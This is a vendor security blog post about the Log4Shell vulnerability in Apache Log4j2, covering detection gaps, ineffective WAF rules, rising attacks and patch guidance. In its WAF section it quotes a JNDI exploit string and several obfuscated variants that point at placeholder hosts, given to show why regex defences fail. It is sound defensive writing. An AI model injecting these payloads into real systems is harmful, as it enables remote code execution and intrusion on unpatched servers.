3 Things We’ve Learned About Log4Shell in 48 Hours

Log4Shell is harder to detect than we originally thought. Original fixes aren’t working and attacks are on the rise. What should security leaders do now?

By Yotam Perkal, Vulnerability Research Lead, Rezilion

The dust refuses to settle over the Apache Log4j2 vulnerability (CVE-2021-44228) commonly known as Log4Shell.

Rezilion is closely monitoring the situation and in this blog post, we will provide relevant information and updates that have surfaced since Log4Shell entered the IT world by storm.

If you want a deeper understanding of the vulnerability itself, you can refer to our previous blog post around the topic.

What Has Changed About Log4Shell

Detection has proven to be a significant challenge for two main reasons:

1. This vulnerability is so widespread that it can be almost anywhere. It is not only confined to web servers. Cloud services, log servers, database servers, email servers, personal endpoints, routers, and even mobile applications can all potentially be affected. There is also a multitude of ways in which the payload can be injected. It can be through a simple chat message (see the Minecraft exploit for example), a user/password field in an app. Basically, any user-supplied data that is being processed and logged can contain the exploit, as can be seen below where changing the name of your iPhone can exploit Apple iCloud. 

2. While having a well-defined Software Bill of Materials (SBOM) can go a long way in helping identify where exactly in your environment you should focus your patching/mitigation efforts, there are a few edge cases that have to be taken into account. First, if your SBOM relies on information from OS level package managers (such as, rpm, apt, apk, etc.), there could potentially be a case in which you have JAR files in your environment that were simply placed there (as opposed to installed), whether manually or by some form of automation. In this scenario the OS level package manager will not be aware of the existence of these rogue JARs. Additionally you can’t guarantee that POM files will be available so that the application level package manager (i.e Maven) will pick up the library.

A second case that you need to make sure you account for is the nested JARs scenario. In this scenario there is an external JAR file which contains additional JARs. If the Log4j2 JAR is nested in such a way and your SBOM resolution will not recursively inspect all nested JARs you effectively be blind to the vulnerability.

Some Mitigations That Were Recommended Early on are Proven to be Ineffective

Although they might still provide some level of protection, you shouldn’t trust string-based WAF rules to provide you with air-tight protection.

The basic exploit string: ${jndi:ldap://[attacker site]/a}

Can be obfuscated in a myriad of ways due to nested resolution of ${…} expressions.

Some examples of such obfuscations (source):
1. ${jndi:ldap://127.0.0.1:1389/ badClassName}
2. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
3. ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
4. ${jndi:rmi://adsasd.asdasd.asdasd}
5. ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
6. ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
7. ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
…

Thus, it is impossible to write an exhaustive regular expression that will detect all forms of exploitation. Attackers continue to find innovative ways to circumvent these rules. That being said, the fact that there are bypasses does not mean that these rules can’t block at least some of the attempted attacks.

Exploitation Attempts are on the Rise and Becoming More Frequent and More Sophisticated

If initially most of the malicious activity identified was scanning for potential targets, as time progresses, exploitation attempts (and successes) are growing at an alarming rate.
According to Cloudflare, there are currently over 1000 exploitation attempts per second, with payloads ranging from crypto miners such as Kinsing, through ransomware like Khonsari and up to botnets such as Muhstik and Mirai.

The Official 2.15 Apache Fix is Still Vulnerable

It appears that the remediation recommended by apache (upgrading to version 2.15) is still vulnerable (under certain conditions) to DoS attacks (see here). CVE-2021-45046 was issued and has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.

Note that previous configuration-based mitigations such as setting the system property log4j2.noFormatMsgLookup to true don’t mitigate this specific vulnerability.

This means the current mitigation recommendation is as follows:

• Java 8 (or later) users should upgrade to release 2.16.0
• Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon)
• Otherwise, remove the JndiLookup class from the classpath by running: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

It is becoming evident that the fallout of the Log4Shell vulnerability is going to stay around for quite a while and the full impact of it is yet to be determined. 

At this time, we recommend focusing efforts around validation of the affected assets and patching to the latest Log4j2 version wherever possible. If a patch isn’t possible for whatever reason, it is recommended that you remove the JndiLookup class as described in the above paragraph.

The security community rose to the challenge and released multiple open source tools and resources during the last few days that can be used to identify the vulnerable elements in your environment:

• An updating list of detection rules and software
• A Java-based Log4j-detector for Linux, Mac, and Windows based environments
• A Python-based Log4j-detector which looks for JAR files containing the vulnerable JndiLookup.class
• For Windows based environments see this Powershell script which checks for JAR files containing the vulnerable file
• Security Advisories/Bulletins linked to Log4Shell (CVE-2021-44228)
• Log4j exploitation detection

​​You can use Rezilion to quickly understand if you have vulnerable versions of log4j across your environment and whether they’re actually exploitable and require immediate action. Contact us for a free assessment.

Update: Since the publication of this blog post, there have been several vulnerabilities discovered affecting the remediation and mitigation recommendations.The current patching recommendation is: Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).Up-to-date mitigation information can be found in this post.